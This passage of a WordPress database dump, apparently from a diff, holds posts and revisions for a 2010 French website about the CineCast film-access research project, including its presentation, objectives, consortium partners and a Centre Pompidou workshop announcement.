'post', '', 1), +(2, 1, '2010-03-12 08:51:22', '2010-03-12 08:51:22', 'L’ambition sociale et culturelle du projet Cinecast est de faciliter de nouvelles formes d’accès aux films sur tous les supports numériques y compris la salle numérique à la carte en misant sur la dynamique sociale.\r\n\r\nPour y parvenir, le projet s’appuie sur une plateforme industrielle de diffusion des films et des métadonnées (infrastructure Globe Cast / Orange et outils d’indexation et de gestion de média de sa filiale NETIA) et développe des outils permettant de nouvelles formes de navigation, d’enrichissement de contenus et de partage de points de vue par le plus grand nombre. CineCast combine pour cela le savoir-faire éditorial et en matière d’ingénierie documentaire des principales bibliothèques de films françaises et du premier média social du cinéma Allo Ciné, des technologies d’analyse automatique de l’image, des outils d’ingénierie sociale (moteurs de recherche, technologies collaboratives) et enfin de nouvelles interfaces d’annotation, de rendu et d’échange stimulant la création de nouveaux services et dès le démarrage du projet la création d’une start-up.\r\n\r\nLes outils et services CineCast (détection automatique d’éléments du film, moteurs de recherche spécialisé cinéma, API Cinéma pour réseaux sociaux, éditeur de parcours critiques, gestionnaire de ses traces de navigation, jeux) stimulent de nouvelles expériences cinématographiques individuelles et collectives (ou d’individuation collective au sens du philosophe français Gilbert Simondon). De simples traces de navigation jusqu’aux productions critiques les plus élaborées seront échangeables – y compris via un réseau social type FaceBook - et resynchronisables avec les films dont dispose l’usager chez lui, d’une bibliothèque à une autre ou sur les sites de VoD, d’IPTV ou de vidéo collaborative. Tout ceci avec une bonne garantie d’interopérabilité de ce qui est produit quelque soit la version ou la qualité du film tout en tirant parti des droits d’accès très différents dont on peut disposer selon ces lieux et services.\r\n\r\nCineCast propose sa plateforme ou ses outils génériques à une multitude de fournisseurs de contenus (portails d’accès sur abonnement des grands opérateurs, archives, bibliothèques, sites de VoD, TV, média sociaux) et adresse directement des marchés à fort potentiel :\r\n\r\n\r\n', 'Présentation', '', 'publish', 'closed', 'closed', '', 'presentation', '', '', '2010-03-12 10:22:02', '2010-03-12 10:22:02', '', 0, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?page_id=2', 0, 'page', '', 0), +(3, 1, '2010-03-12 09:21:12', '2010-03-12 09:21:12', 'tets tet sgd shfsdhqfksdjk fhjksdqh klfhsdjk', 'test test test ', '', 'trash', 'open', 'open', '', 'test-test-test', '', '', '2010-03-12 11:58:31', '2010-03-12 11:58:31', '', 0, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?p=3', 0, 'post', '', 0), +(4, 1, '2010-03-12 09:21:02', '2010-03-12 09:21:02', '', 'test test test ', '', 'inherit', 'open', 'open', '', '3-revision', '', '', '2010-03-12 09:21:02', '2010-03-12 09:21:02', '', 3, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?p=4', 0, 'revision', '', 0), +(5, 1, '2010-03-12 09:21:12', '2010-03-12 09:21:12', 'tets tet sgd shfsdhqfksdjk fhjksdqh klfhsdjk', 'test test test ', '', 'inherit', 'open', 'open', '', '3-revision-2', '', '', '2010-03-12 09:21:12', '2010-03-12 09:21:12', '', 3, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?p=5', 0, 'revision', '', 0), +(6, 1, '2010-03-12 09:23:43', '2010-03-12 09:23:43', 'Atelier Cinéma et réseaux numériques\r\nDébat sur les enjeux du Très Haut Débit\r\nDans le cadre du projet de plateforme régionale THD Cap Digital\r\navec la participation des partenaires du projet FUI CineCast\r\nVendredi 26 mars 2010, de 15h à 18h00, en salle Piazza (Centre Pompidou)\r\nProposé par l''Institut de recherche et d''innovation\r\n\r\nLes principaux acteurs du monde culturel, publics comme privés, portent un intérêt croissant à la profonde mutation\r\nintroduite par le passage d’une économie culturelle reposant sur la consommation et l’audience de masse à une\r\néconomie culturelle bouleversée par le développement des réseaux numériques à très haut débit (dits THD) et reposant largement sur la contribution et les échanges. L’économie et les pratiques sociales du cinéma qui étaient initialement construites sur un modèle asymétrique et centralisé analogue à celui de la diffusion télévisuelle ou radiophonique évoluent ainsi vers des modèles de plus en plus flexibles, distribués et symétrique où les pratiques des amateurs se  complexifient et se diversifient en amont comme en aval de la diffusion. A ce point de convergence critique, que d’aucun désigne comme le Web 3.0, de grands acteurs industriels investissent et développent de nouvelles activités, pour assoir leurs stratégies industrielles dans le secteur du cinéma avec un focus particulier sur la qualité des métadonnées et à la flexibilité de la diffusion des films compte tenu de l’équipement des salles en réception et projection numérique (fiber-to-the-theater). De nombreuses sociétés investissent également le marché de ce que l’on désigne sous le nom d’ingénierie sociale (c''est-à-dire les technologies et services pour les sites collaboratifs et les\r\nréseaux sociaux), et imaginent de nouveaux modèles économiques fondés sur la combinaison de logiques bottom-up et\r\ntop-down permise par la généralisation des réseaux THD symétriques.\r\nL’objectif de cet atelier piloté par l’Iri (Institut de recherche et d’innovation) et mis en place dans le cadre du projet de\r\nplateforme régionale THD coordonné par Cap Digital, est d’interroger l’impact des technologies THD sur l’évolution des\r\nmodèles économiques de l''industrie cinématographiques ainsi que sur les pratiques culturelles et sociales afférentes.\r\nUn intérêt particulier sera porté au développement des pratiques contributives d’enrichissement et de diffusion de\r\ncontenus, ainsi qu’à l’émergence de nouveaux services à haute valeur ajoutée, tant au niveau des fournisseurs de\r\ncontenus que des medias sociaux connexes. L’atelier pourra ainsi être structuré autour de trois thématiques, dans la\r\nperspective des opportunités offertes par les réseaux très haut débit :\r\n\r\n\r\n15h00-15h20 : Introduction à l’atelier\r\n• Vincent Puig, Directeur Adjoint de l’Institut de Recherche et d’Innovation\r\n\r\n\r\n15h20-16h00 : Technologies numériques et diffusion\r\n• Guillaume Blanchot, Directeur du Multimédia et des industries techniques du CNC\r\n• Christophe Beauvais, Directeur Applications Entreprise et Jérémie Roudaire, Directeur du développement\r\ncommercial Amérique Latine, GlobeCast\r\n\r\n\r\n16h00-16h40 : Nouveaux modèles économiques\r\n• Frédéric Sitterlé, Fondateur de My Skreen\r\n• Thomas Jullienne, Responsable Marketing Salle d’AlloCiné\r\n\r\n\r\n16h40-17h20 : Pratiques sociales et contributives\r\n• David Honnorat, co-fondateur, Directeur produits et communautés de Vodkaster\r\n• Bruno Daniault, Président de IP…Ciné\r\n17h20-18h00 : Débat sur les enjeux du très haut débit\r\nInscription et information : par mail à l’adresse suivante : contact@iri.centrepompidou.fr\r\nSites relatifs aux projets THD et CineCast : http://portailthd.fr, http://thdculture.fr, http://cinecast.fr', 'Atelier Cinéma & réseaux numériques', '', 'publish', 'open', 'open', '', 'test-test-test-2', '', '', '2010-03-12 11:28:16', '2010-03-12 11:28:16', '', 0, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?p=6', 0, 'post', '', 0), +(7, 1, '2010-03-12 09:23:39', '2010-03-12 09:23:39', '', 'test test test ', '', 'inherit', 'open', 'open', '', '6-revision', '', '', '2010-03-12 09:23:39', '2010-03-12 09:23:39', '', 6, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?p=7', 0, 'revision', '', 0), +(8, 1, '2010-03-12 09:23:43', '2010-03-12 09:23:43', 'dfqgdfgdfgdf', 'test test test ', '', 'inherit', 'open', 'open', '', '6-revision-2', '', '', '2010-03-12 09:23:43', '2010-03-12 09:23:43', '', 6, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?p=8', 0, 'revision', '', 0), +(9, 1, '2010-03-12 09:25:03', '2010-03-12 09:25:03', 'Favoriser de nouvelles pratiques cinématographiques multi-support y compris la salle numérique à la carte en partant de la dynamique sociale (AlloCiné), combinée à une plateforme de diffusion (Orange/GlobeCast) et à un solution RichMedia pérenne (Netia).\r\n\r\n Enjeux sociétaux\r\n\r\n Verrous technologiques :\r\n', 'Objectifs', '', 'publish', 'closed', 'open', '', 'partenaires', '', '', '2010-03-12 10:24:28', '2010-03-12 10:24:28', '', 0, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?page_id=9', 0, 'page', '', 0), +(10, 1, '2010-03-12 09:25:00', '2010-03-12 09:25:00', '', 'Partenaires', '', 'inherit', 'open', 'open', '', '9-revision', '', '', '2010-03-12 09:25:00', '2010-03-12 09:25:00', '', 9, 'http://129.102.224.15/dev/~hurons/cinecast.fr/?p=10', 0, 'revision', '', 0), +(11, 1, '2010-03-12 11:36:07', '2010-03-12 11:36:07', 'Favoriser de nouvelles pratiques cinématographiques multi-support y compris la salle numérique à la carte en partant de la dynamique sociale (AlloCiné), combinée à une plateforme de diffusion (Orange/GlobeCast) et à un solution RichMedia pérenne (Netia).\n\n Enjeux sociétaux\n\n Verrous technologiques :\n', 'Objectifs', '', 'inherit', 'open', 'open', '', '9-autosave', '', '', '2010-03-12 11:36:07', '2010-03-12 11:36:07', '', 9, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=11', 0, 'revision', '', 0), +(12, 1, '2010-03-12 08:51:22', '2010-03-12 08:51:22', 'This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.', 'About', '', 'inherit', 'open', 'open', '', '2-revision', '', '', '2010-03-12 08:51:22', '2010-03-12 08:51:22', '', 2, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=12', 0, 'revision', '', 0), +(13, 1, '2010-03-12 10:04:22', '2010-03-12 10:04:22', 'This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress.', 'Présentation', '', 'inherit', 'open', 'open', '', '2-revision-2', '', '', '2010-03-12 10:04:22', '2010-03-12 10:04:22', '', 2, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=13', 0, 'revision', '', 0), +(14, 1, '2010-03-12 10:21:33', '2010-03-12 10:21:33', 'L’ambition sociale et culturelle du projet Cinecast est de faciliter de nouvelles formes d’accès aux films sur tous les supports numériques y compris la salle numérique à la carte en misant sur la dynamique sociale.\r\n\r\nPour y parvenir, le projet s’appuie sur une plateforme industrielle de diffusion des films et des métadonnées (infrastructure Globe Cast / Orange et outils d’indexation et de gestion de média de sa filiale NETIA) et développe des outils permettant de nouvelles formes de navigation, d’enrichissement de contenus et de partage de points de vue par le plus grand nombre. CineCast combine pour cela le savoir-faire éditorial et en matière d’ingénierie documentaire des principales bibliothèques de films françaises et du premier média social du cinéma Allo Ciné, des technologies d’analyse automatique de l’image, des outils d’ingénierie sociale (moteurs de recherche, technologies collaboratives) et enfin de nouvelles interfaces d’annotation, de rendu et d’échange stimulant la création de nouveaux services et dès le démarrage du projet la création d’une start-up.\r\n\r\nLes outils et services CineCast (détection automatique d’éléments du film, moteurs de recherche spécialisé cinéma, API Cinéma pour réseaux sociaux, éditeur de parcours critiques, gestionnaire de ses traces de navigation, jeux) stimulent de nouvelles expériences cinématographiques individuelles et collectives (ou d’individuation collective au sens du philosophe français Gilbert Simondon). De simples traces de navigation jusqu’aux productions critiques les plus élaborées seront échangeables – y compris via un réseau social type FaceBook - et resynchronisables avec les films dont dispose l’usager chez lui, d’une bibliothèque à une autre ou sur les sites de VoD, d’IPTV ou de vidéo collaborative. Tout ceci avec une bonne garantie d’interopérabilité de ce qui est produit quelque soit la version ou la qualité du film tout en tirant parti des droits d’accès très différents dont on peut disposer selon ces lieux et services.\r\n\r\nCineCast propose sa plateforme ou ses outils génériques à une multitude de fournisseurs de contenus (portails d’accès sur abonnement des grands opérateurs, archives, bibliothèques, sites de VoD, TV, média sociaux) et adresse directement des marchés à fort potentiel :\r\n\r\n\r\n', 'Présentation', '', 'inherit', 'open', 'open', '', '2-revision-3', '', '', '2010-03-12 10:21:33', '2010-03-12 10:21:33', '', 2, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=14', 0, 'revision', '', 0), +(15, 1, '2010-03-12 10:21:53', '2010-03-12 10:21:53', 'L’ambition sociale et culturelle du projet Cinecast est de faciliter de nouvelles formes d’accès aux films sur tous les supports numériques y compris la salle numérique à la carte en misant sur la dynamique sociale.\r\n\r\nPour y parvenir, le projet s’appuie sur une plateforme industrielle de diffusion des films et des métadonnées (infrastructure Globe Cast / Orange et outils d’indexation et de gestion de média de sa filiale NETIA) et développe des outils permettant de nouvelles formes de navigation, d’enrichissement de contenus et de partage de points de vue par le plus grand nombre. CineCast combine pour cela le savoir-faire éditorial et en matière d’ingénierie documentaire des principales bibliothèques de films françaises et du premier média social du cinéma Allo Ciné, des technologies d’analyse automatique de l’image, des outils d’ingénierie sociale (moteurs de recherche, technologies collaboratives) et enfin de nouvelles interfaces d’annotation, de rendu et d’échange stimulant la création de nouveaux services et dès le démarrage du projet la création d’une start-up.\r\n\r\nLes outils et services CineCast (détection automatique d’éléments du film, moteurs de recherche spécialisé cinéma, API Cinéma pour réseaux sociaux, éditeur de parcours critiques, gestionnaire de ses traces de navigation, jeux) stimulent de nouvelles expériences cinématographiques individuelles et collectives (ou d’individuation collective au sens du philosophe français Gilbert Simondon). De simples traces de navigation jusqu’aux productions critiques les plus élaborées seront échangeables – y compris via un réseau social type FaceBook - et resynchronisables avec les films dont dispose l’usager chez lui, d’une bibliothèque à une autre ou sur les sites de VoD, d’IPTV ou de vidéo collaborative. Tout ceci avec une bonne garantie d’interopérabilité de ce qui est produit quelque soit la version ou la qualité du film tout en tirant parti des droits d’accès très différents dont on peut disposer selon ces lieux et services.\r\n\r\nCineCast propose sa plateforme ou ses outils génériques à une multitude de fournisseurs de contenus (portails d’accès sur abonnement des grands opérateurs, archives, bibliothèques, sites de VoD, TV, média sociaux) et adresse directement des marchés à fort potentiel :\r\n\r\n\r\n', 'Présentation', '', 'inherit', 'open', 'open', '', '2-revision-4', '', '', '2010-03-12 10:21:53', '2010-03-12 10:21:53', '', 2, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=15', 0, 'revision', '', 0), +(16, 1, '2010-03-12 09:25:03', '2010-03-12 09:25:03', '', 'Partenaires', '', 'inherit', 'open', 'open', '', '9-revision-2', '', '', '2010-03-12 09:25:03', '2010-03-12 09:25:03', '', 9, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=16', 0, 'revision', '', 0), +(17, 1, '2010-03-12 10:24:04', '2010-03-12 10:24:04', 'Favoriser de nouvelles pratiques cinématographiques multi-support y compris la salle numérique à la carte en partant de la dynamique sociale (AlloCiné), combinée à une plateforme de diffusion (Orange/GlobeCast) et à un solution RichMedia pérenne (Netia).\r\n Enjeux sociétaux\r\n\r\n Verrous technologiques :\r\n', 'Objectifs', '', 'inherit', 'open', 'open', '', '9-revision-3', '', '', '2010-03-12 10:24:04', '2010-03-12 10:24:04', '', 9, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=17', 0, 'revision', '', 0), +(18, 1, '2010-03-12 10:24:14', '2010-03-12 10:24:14', 'Favoriser de nouvelles pratiques cinématographiques multi-support y compris la salle numérique à la carte en partant de la dynamique sociale (AlloCiné), combinée à une plateforme de diffusion (Orange/GlobeCast) et à un solution RichMedia pérenne (Netia).\r\n\r\n Enjeux sociétaux\r\n\r\n Verrous technologiques :\r\n', 'Objectifs', '', 'inherit', 'open', 'open', '', '9-revision-4', '', '', '2010-03-12 10:24:14', '2010-03-12 10:24:14', '', 9, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=18', 0, 'revision', '', 0), +(19, 1, '2010-03-12 10:34:36', '2010-03-12 10:34:36', 'Le projet combine de manière équilibrée de fortes compétences technologiques avec une expertise exceptionnelle sur les contenus.\r\n\r\na) Une plateforme technologique Rich Média\r\n\r\n3 briques technologiques\r\n\r\nUne plateforme technique permettant d’intégrer ces briques technologiques, développée par NETIA autour de son produit HyperCast Warehouse et testée en vrai grandeur durant le projet par le groupe GlobeCast.\r\n\r\nL’IRI/Centre Pompidou, le LIRIS et le Forum des Images sont trois partenaires de ce projet également associés dans le projet CineLab (ANR 2006) qui explore les nouveaux modes d’annotation d’objets temporels notamment à l’aide de dispositifs mobiles. Ce projet a permis de cerner de près les nouvelles pratiques en cours d’émergence dans le domaine de la navigation et de l’annotation cinématographique. Il a également permis d’identifier les besoins des principaux acteurs proposant des archives cinématographiques et des services Web ou VoD qui sont porteurs de la proposition CineCast.\r\n\r\nPlusieurs des partenaires disposent d’une expérience solide en matière de développement d’outils d’annotation filmique et de partage tels que Advene (LIRIS), SemanticVox (OMT CNRS/CEA LIST), Lignes de temps (IRI) ou MediaScope (INA/Netia). On trouvera des descriptions détaillées des outils en annexe.\r\n\r\nGlobeCast est aujourd’hui un leader mondial dans la gestion et la livraison de contenu multimédia. Filiale du Groupe France Télécom, GlobeCast a été créée en 1997 par le regroupement de toutes les activités de transport par satellite de France Télécom, en France comme à l’étranger. A cet égard, la société bénéficie de 30 années d’expérience en tant que fournisseur de services de transport audiovisuel par satellite. Fin 2007, GlobeCast compte quelques 660 salariés répartis à travers le monde. Ces dernières années, GlobeCast s’est repositionné avec succès dans la chaîne de valeur de la prestation audiovisuelle, tirant profit des innovations technologiques et des tendances du marché. GlobeCast traite le contenu audiovisuel en amont et en aval de son transport, agrège les chaînes de télévision dans ses centres techniques et opère un réseau interconnectant ses téléports via un réseau optique sécurisé. En 2008 GlobeCast fait l’acquisition de NETIA, l’un des leaders de la commercialisation de solutions logicielles pour la gestion et la diffusion de contenus audiovisuels pour renforcer son portefeuille de service à valeur ajoutée.\r\n\r\nb) L’expertise et la connaissance des contenus (bibliothèques, sites VoD, média sociaux)\r\n\r\nHistoriquement le projet s’est construit autour de la compétence documentaire et de la connaissance du cinéma des principaux fonds d’archives cinéma avec pour ambition commune de valoriser cette expertise, de la partager avec d’autres fournisseurs de contenus du secteur commercial et de s’intégrer dans la dynamique des réseaux sociaux :\r\n\r\nA ces compétences se sont ajoutées celles d''acteurs reconnus du domaine\r\n\r\nEnfin Telecom Paris Tech apporte sa connaissance du secteur culturel et des médias et son expertise dans l’analyse des usages et les stratégie socio-économiques.', 'Consortium', '', 'publish', 'closed', 'closed', '', 'consortium', '', '', '2010-03-12 11:20:31', '2010-03-12 11:20:31', '', 0, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?page_id=19', 0, 'page', '', 0), +(20, 1, '2010-03-12 10:34:12', '2010-03-12 10:34:12', 'Le projet combine de manière équilibrée de fortes compétences technologiques avec une expertise exceptionnelle sur les contenus.\n\na) Une plateforme technologique Rich Média\n\n3 briques technologiques\n\nL’IRI/Centre Pompidou, le LIRIS et le Forum des Images sont trois partenaires de ce projet également associés dans le projet CineLab (ANR 2006) qui explore les nouveaux modes d’annotation d’objets temporels notamment à l’aide de dispositifs mobiles. Ce projet a permis de cerner de près les nouvelles pratiques en cours d’émergence dans le domaine de la navigation et de l’annotation cinématographique. Il a également permis d’identifier les besoins des principaux acteurs proposant des archives cinématographiques et des services Web ou VoD qui sont porteurs de la proposition CineCast.\n\nPlusieurs des partenaires disposent d’une expérience solide en matière de développement d’outils d’annotation filmique et de partage tels que Advene (LIRIS), SemanticVox (OMT CNRS/CEA LIST), Lignes de temps (IRI) ou MediaScope (INA/Netia). On trouvera des descriptions détaillées des outils en annexe.\n\nGlobeCast est aujourd’hui un leader mondial dans la gestion et la livraison de contenu multimédia. Filiale du Groupe France Télécom, GlobeCast a été créée en 1997 par le regroupement de toutes les activités de transport par satellite de France Télécom, en France comme à l’étranger. A cet égard, la société bénéficie de 30 années d’expérience en tant que fournisseur de services de transport audiovisuel par satellite. Fin 2007, GlobeCast compte quelques 660 salariés répartis à travers le monde. Ces dernières années, GlobeCast s’est repositionné avec succès dans la chaîne de valeur de la prestation audiovisuelle, tirant profit des innovations technologiques et des tendances du marché. GlobeCast traite le contenu audiovisuel en amont et en aval de son transport, agrège les chaînes de télévision dans ses centres techniques et opère un réseau interconnectant ses téléports via un réseau optique sécurisé. En 2008 GlobeCast fait l’acquisition de NETIA, l’un des leaders de la commercialisation de solutions logicielles pour la gestion et la diffusion de contenus audiovisuels pour renforcer son portefeuille de service à valeur ajoutée.\n\nb) L’expertise et la connaissance des contenus (bibliothèques, sites VoD, média sociaux)\n\nHistoriquement le projet s’est construit autour de la compétence documentaire et de la connaissance du cinéma des principaux fonds d’archives cinéma avec pour ambition commune de valoriser cette expertise, de la partager avec d’autres fournisseurs de contenus du secteur commercial et de s’intégrer dans la dynamique des réseaux sociaux :\n\nA ces compétences se sont ajoutées celles d''acteurs reconnus du domaine\n\n• Allo Ciné, média social du cinéma leader en France et en fort développement à l’international,\n• Lesite.TV (GIE créé par France5 et le CNDP pour la diffusion des contenus audiovisuels vers les établissements scolaires),\n• UniversCiné (plateforme de VoD regroupant près de 50 producteurs de films indépendants en France et en Europe),\n• VodKaster (start-up spécialisée sur la promotion des films par le remix contributif d’extraits)\n\nEnfin Telecom Paris Tech apporte sa connaissance du secteur culturel et des médias et son expertise dans l’analyse des usages et les stratégie socio-économiques.', 'Consortium', '', 'inherit', 'open', 'open', '', '19-revision', '', '', '2010-03-12 10:34:12', '2010-03-12 10:34:12', '', 19, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=20', 0, 'revision', '', 0), +(21, 1, '2010-03-12 10:34:36', '2010-03-12 10:34:36', 'Le projet combine de manière équilibrée de fortes compétences technologiques avec une expertise exceptionnelle sur les contenus.\r\n\r\na) Une plateforme technologique Rich Média\r\n\r\n3 briques technologiques\r\n\r\nL’IRI/Centre Pompidou, le LIRIS et le Forum des Images sont trois partenaires de ce projet également associés dans le projet CineLab (ANR 2006) qui explore les nouveaux modes d’annotation d’objets temporels notamment à l’aide de dispositifs mobiles. Ce projet a permis de cerner de près les nouvelles pratiques en cours d’émergence dans le domaine de la navigation et de l’annotation cinématographique. Il a également permis d’identifier les besoins des principaux acteurs proposant des archives cinématographiques et des services Web ou VoD qui sont porteurs de la proposition CineCast.\r\n\r\nPlusieurs des partenaires disposent d’une expérience solide en matière de développement d’outils d’annotation filmique et de partage tels que Advene (LIRIS), SemanticVox (OMT CNRS/CEA LIST), Lignes de temps (IRI) ou MediaScope (INA/Netia). On trouvera des descriptions détaillées des outils en annexe.\r\n\r\nGlobeCast est aujourd’hui un leader mondial dans la gestion et la livraison de contenu multimédia. Filiale du Groupe France Télécom, GlobeCast a été créée en 1997 par le regroupement de toutes les activités de transport par satellite de France Télécom, en France comme à l’étranger. A cet égard, la société bénéficie de 30 années d’expérience en tant que fournisseur de services de transport audiovisuel par satellite. Fin 2007, GlobeCast compte quelques 660 salariés répartis à travers le monde. Ces dernières années, GlobeCast s’est repositionné avec succès dans la chaîne de valeur de la prestation audiovisuelle, tirant profit des innovations technologiques et des tendances du marché. GlobeCast traite le contenu audiovisuel en amont et en aval de son transport, agrège les chaînes de télévision dans ses centres techniques et opère un réseau interconnectant ses téléports via un réseau optique sécurisé. En 2008 GlobeCast fait l’acquisition de NETIA, l’un des leaders de la commercialisation de solutions logicielles pour la gestion et la diffusion de contenus audiovisuels pour renforcer son portefeuille de service à valeur ajoutée.\r\n\r\nb) L’expertise et la connaissance des contenus (bibliothèques, sites VoD, média sociaux)\r\n\r\nHistoriquement le projet s’est construit autour de la compétence documentaire et de la connaissance du cinéma des principaux fonds d’archives cinéma avec pour ambition commune de valoriser cette expertise, de la partager avec d’autres fournisseurs de contenus du secteur commercial et de s’intégrer dans la dynamique des réseaux sociaux :\r\n\r\nA ces compétences se sont ajoutées celles d''acteurs reconnus du domaine\r\n\r\nEnfin Telecom Paris Tech apporte sa connaissance du secteur culturel et des médias et son expertise dans l’analyse des usages et les stratégie socio-économiques.', 'Consortium', '', 'inherit', 'open', 'open', '', '19-revision-2', '', '', '2010-03-12 10:34:36', '2010-03-12 10:34:36', '', 19, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=21', 0, 'revision', '', 0), +(22, 1, '2010-03-12 10:35:19', '2010-03-12 10:35:19', 'Le projet combine de manière équilibrée de fortes compétences technologiques avec une expertise exceptionnelle sur les contenus.\r\n\r\na) Une plateforme technologique Rich Média\r\n\r\n3 briques technologiques\r\n\r\nUne plateforme technique permettant d’intégrer ces briques technologiques, développée par NETIA autour de son produit HyperCast Warehouse et testée en vrai grandeur durant le projet par le groupe GlobeCast.\r\n\r\nL’IRI/Centre Pompidou, le LIRIS et le Forum des Images sont trois partenaires de ce projet également associés dans le projet CineLab (ANR 2006) qui explore les nouveaux modes d’annotation d’objets temporels notamment à l’aide de dispositifs mobiles. Ce projet a permis de cerner de près les nouvelles pratiques en cours d’émergence dans le domaine de la navigation et de l’annotation cinématographique. Il a également permis d’identifier les besoins des principaux acteurs proposant des archives cinématographiques et des services Web ou VoD qui sont porteurs de la proposition CineCast.\r\n\r\nPlusieurs des partenaires disposent d’une expérience solide en matière de développement d’outils d’annotation filmique et de partage tels que Advene (LIRIS), SemanticVox (OMT CNRS/CEA LIST), Lignes de temps (IRI) ou MediaScope (INA/Netia). On trouvera des descriptions détaillées des outils en annexe.\r\n\r\nGlobeCast est aujourd’hui un leader mondial dans la gestion et la livraison de contenu multimédia. Filiale du Groupe France Télécom, GlobeCast a été créée en 1997 par le regroupement de toutes les activités de transport par satellite de France Télécom, en France comme à l’étranger. A cet égard, la société bénéficie de 30 années d’expérience en tant que fournisseur de services de transport audiovisuel par satellite. Fin 2007, GlobeCast compte quelques 660 salariés répartis à travers le monde. Ces dernières années, GlobeCast s’est repositionné avec succès dans la chaîne de valeur de la prestation audiovisuelle, tirant profit des innovations technologiques et des tendances du marché. GlobeCast traite le contenu audiovisuel en amont et en aval de son transport, agrège les chaînes de télévision dans ses centres techniques et opère un réseau interconnectant ses téléports via un réseau optique sécurisé. En 2008 GlobeCast fait l’acquisition de NETIA, l’un des leaders de la commercialisation de solutions logicielles pour la gestion et la diffusion de contenus audiovisuels pour renforcer son portefeuille de service à valeur ajoutée.\r\n\r\nb) L’expertise et la connaissance des contenus (bibliothèques, sites VoD, média sociaux)\r\n\r\nHistoriquement le projet s’est construit autour de la compétence documentaire et de la connaissance du cinéma des principaux fonds d’archives cinéma avec pour ambition commune de valoriser cette expertise, de la partager avec d’autres fournisseurs de contenus du secteur commercial et de s’intégrer dans la dynamique des réseaux sociaux :\r\n\r\nA ces compétences se sont ajoutées celles d''acteurs reconnus du domaine\r\n\r\nEnfin Telecom Paris Tech apporte sa connaissance du secteur culturel et des médias et son expertise dans l’analyse des usages et les stratégie socio-économiques.', 'Consortium', '', 'inherit', 'open', 'open', '', '19-revision-3', '', '', '2010-03-12 10:35:19', '2010-03-12 10:35:19', '', 19, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=22', 0, 'revision', '', 0), +(23, 1, '2010-03-12 10:42:37', '0000-00-00 00:00:00', '', 'Partenaires', '', 'draft', 'open', 'open', '', '', '', '', '2010-03-12 10:42:37', '0000-00-00 00:00:00', '', 0, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?page_id=23', 0, 'page', '', 0), +(24, 1, '2010-03-12 11:05:25', '2010-03-12 11:05:25', '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n', 'Partenaires', '', 'publish', 'closed', 'closed', '', 'contact', '', '', '2010-03-12 13:03:12', '2010-03-12 13:03:12', '', 0, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?page_id=24', 0, 'page', '', 0), +(25, 1, '2010-03-12 11:05:14', '2010-03-12 11:05:14', 'contact {arrobase} cinecast {point} fr', 'Contact', '', 'inherit', 'open', 'open', '', '24-revision', '', '', '2010-03-12 11:05:14', '2010-03-12 11:05:14', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=25', 0, 'revision', '', 0), +(27, 1, '2010-03-12 11:07:13', '2010-03-12 11:07:13', 'contact {arrobase} cinecast {point} fr', 'Contact', '', 'publish', 'open', 'open', '', 'contact-2', '', '', '2010-03-12 11:33:48', '2010-03-12 11:33:48', '', 0, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?page_id=27', 0, 'page', '', 0), +(26, 1, '2010-03-12 11:05:25', '2010-03-12 11:05:25', 'contact {arrobase} cinecast {point} fr', 'Contact', '', 'inherit', 'open', 'open', '', '24-revision-2', '', '', '2010-03-12 11:05:25', '2010-03-12 11:05:25', '', 24, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=26', 0, 'revision', '', 0), +(28, 1, '2010-03-12 11:08:14', '2010-03-12 11:08:14', 'contact {arrobase} cinecast {point} fr', 'contact', '', 'inherit', 'open', 'open', '', '27-autosave', '', '', '2010-03-12 11:08:14', '2010-03-12 11:08:14', '', 27, 'http://www.iri.centrepompidou.fr/dev/~hurons/cinecast.fr/?p=28', 0, 'revision', '', 0), +(29, 1, '2010-03-12 11:20:25', '2010-03-12 11:20:25', 'Le projet combine de manière équilibrée de fortes compétences technologiques avec une expertise exceptionnelle sur les contenus.\n\na) Une plateforme technologique Rich Média\n\n3 briques technologiques\n\nUne plateforme technique permettant d’intégrer ces briques technologiques, développée par NETIA autour de son produit HyperCast Warehouse et testée en vrai grandeur durant le projet par le groupe GlobeCast.\n\nL’IRI/Centre Pompidou, le LIRIS et le Forum des Images sont trois partenaires de ce projet également associés dans le projet CineLab (ANR 2006) qui explore les nouveaux modes d’annotation d’objets temporels notamment à l’aide de dispositifs mobiles. Ce projet a permis de cerner de près les nouvelles pratiques en cours d’émergence dans le domaine de la navigation et de l’annotation cinématographique. Il a également permis d’identifier les besoins des principaux acteurs proposant des archives cinématographiques et des services Web ou VoD qui sont porteurs de la proposition CineCast.\n\nPlusieurs des partenaires disposent d’une expérience solide en matière de développement d’outils d’annotation filmique et de partage tels que Advene (LIRIS), SemanticVox (OMT CNRS/CEA LIST), Lignes de temps (IRI) ou MediaScope (INA/Netia). On trouvera des descriptions détaillées des outils en annexe.\n\nGlobeCast est aujourd’hui un 